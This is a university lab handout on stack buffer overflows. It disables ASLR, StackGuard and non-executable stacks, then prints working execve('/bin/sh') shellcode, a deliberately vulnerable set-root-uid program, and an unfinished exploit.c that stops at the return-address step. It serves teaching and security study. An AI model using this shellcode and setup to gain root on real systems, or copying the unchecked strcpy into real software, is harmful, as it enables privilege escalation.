COMP293 – Buffer Overflow Vulnerability Lab 1
Buffer Overflow Vulnerability Lab
1 Lab Overview
The learning objective of this lab is to gain the first-hand experience on buffer-overflow vulnerability by
putting what you have learned about the vulnerability from class into action. Buffer overflow is defined
as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed
length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program,
even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data
(e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the
control flow of the program, because an overflow can change the return address.
In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a
scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, you will
be guided to walk through several protection schemes that have been implemented in the operating system
to counter against the buffer-overflow attacks. You need to evaluate whether the schemes work or not and
explain why. Section 3 contains guidelines that help you understand the attack. The lab tasks are in Section
2.
2 Lab Tasks
2.1 Initial setup
You can execute the lab tasks using the pre-built Ubuntu virtual machines that you installed on virtual
box. Ubuntu and other Linux distributions have implemented several security mechanisms to make the
buffer-overflow attack difficult. To simply our attacks, we need to disable them first.
Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran-
domization to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable
these features using the following commands:
$ su root
Password: (enter root password)
#sysctl -w kernel.randomize_va_space=0
The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called ”Stack
Guard” to prevent buffer overflows. In the presence of this protection, buffer overflow will not work. You
can disable this protection if you compile the program using the -fno-stack-protector switch. For example,
to compile a program example.c with Stack Guard disabled, you may use the following command:
$ gcc -fno-stack-protector example.c
Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
COMP293 – Buffer Overflow Vulnerability Lab 2
automatically by the recent versions of gcc, and by default, the stack is set to be non-executable. To change
that, use the following option when compiling programs:
For executable stack:
$ gcc -z execstack -o test test.c
For non-executable stack:
$ gcc -z noexecstack -o test test.c
Configuring /bin/sh (Ubuntu 16.04 VM only) In Ubuntu 16.04 VMs, the /bin/sh symbolic link points
to the /bin/dash shell. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself from
being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID process, it
immediately changes the effective user ID to the process?s real user ID, essentially dropping the privilege.
Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the counter-
measure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell
that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the
countermeasure in /bin/dash can be easily defeated). Ubuntu 16.04 VM has another shell called installed
zsh. We use the following commands to link /bin/sh to zsh
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
2.2 Shellcode
Before you start the attack, you need a shellcode. A shellcode is the code to launch a shell. It has to be
loaded into the memory so that we can force the vulnerable program to jump to it. The file exploit.c contains
the assembly version on the shellcode. Here is an explanation of where that code comes from:
Consider the following program:
#include
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
The shellcode that we use is just the assembly version of the above program. The following program
shows you how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the
following code, and see whether a shell is invoked.
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
COMP293 – Buffer Overflow Vulnerability Lab 3
#include
#include
#include
const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
If you want to verify that the code works you can use the following command to compile the code (don’t
forget the execstack option):
$ gcc -z execstack -o call_shellcode call_shellcode.c
A few places in this shellcode are worth mentioning. First, the third instruction pushes “//sh”, rather
than “/sh” into the stack. This is because we need a 32-bit number here, and “/sh” has only 24 bits. Fortu-
nately, “//” is equivalent to “/”, so we can get away with a double slash symbol. Second, before calling the
execve() system call, we need to store name[0] (the address of the string), name (the address of the
array), and NULL to the %ebx, %ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx;
Line 8 stores name to %ecx; Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g.,
xorl %edx, %edx); the one (cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of
the value in the EAX register (which is 0 at this point) into every bit position in the EDX register, basically
setting %edx to 0. Third, the system call execve() is called when we set %al to 11, and execute “int
$0x80”.
COMP293 – Buffer Overflow Vulnerability Lab 4
2.3 The Vulnerable Program
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include
#include
#include
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Compile the above vulnerable program and make it set-root-uid. You can achieve this by compiling it
in the root account, and chmod the executable to 4755 (don’t forget to include the execstack and
-fno-stack-protector options to turn off the non-executable stack and StackGuard protections):
$ su root
Password (enter root password)
# gcc -o stack -z execstack -fno-stack-protector stack.c
# chmod 4755 stack
# exit
The above program has a buffer overflow vulnerability. It first reads an input from a file called “badfile”,
and then passes this input to another buffer in the function bof(). The original input can have a maximum
length of 517 bytes, but the buffer in bof() has only 24 bytes long. Because strcpy() does not check
boundaries, buffer overflow will occur. Since this program is a set-root-uid program, if a normal user can
exploit this buffer overflow vulnerability, the normal user might be able to get a root shell. It should be
noted that the program gets its input from a file called “badfile”. This file is under users’ control. Now, our
COMP293 – Buffer Overflow Vulnerability Lab 5
objective is to create the contents for “badfile”, such that when the vulnerable program copies the contents
into its buffer, a root shell can be spawned.
Checkpoint/Question to answer in your report After you complete Task1 below and have a successful
attack, what happens if the buffer size was 12 instead of 24 in the vulnerable program stack.c. How will
your attacking code change?
2.4 Task 1: Exploiting the Vulnerability
We provide you with a partially completed exploit code called “exploit.c”. The goal of this code is to
construct contents for “badfile”. In this code, the shellcode is given to you. You need to complete the file.
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include
#include
#include
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
//1. Initialize buffer with 0x90 (NOP instruction)
memset(&buffer, 0x90, 517);
//2. Place return address
// *((long *) (buffer + )) =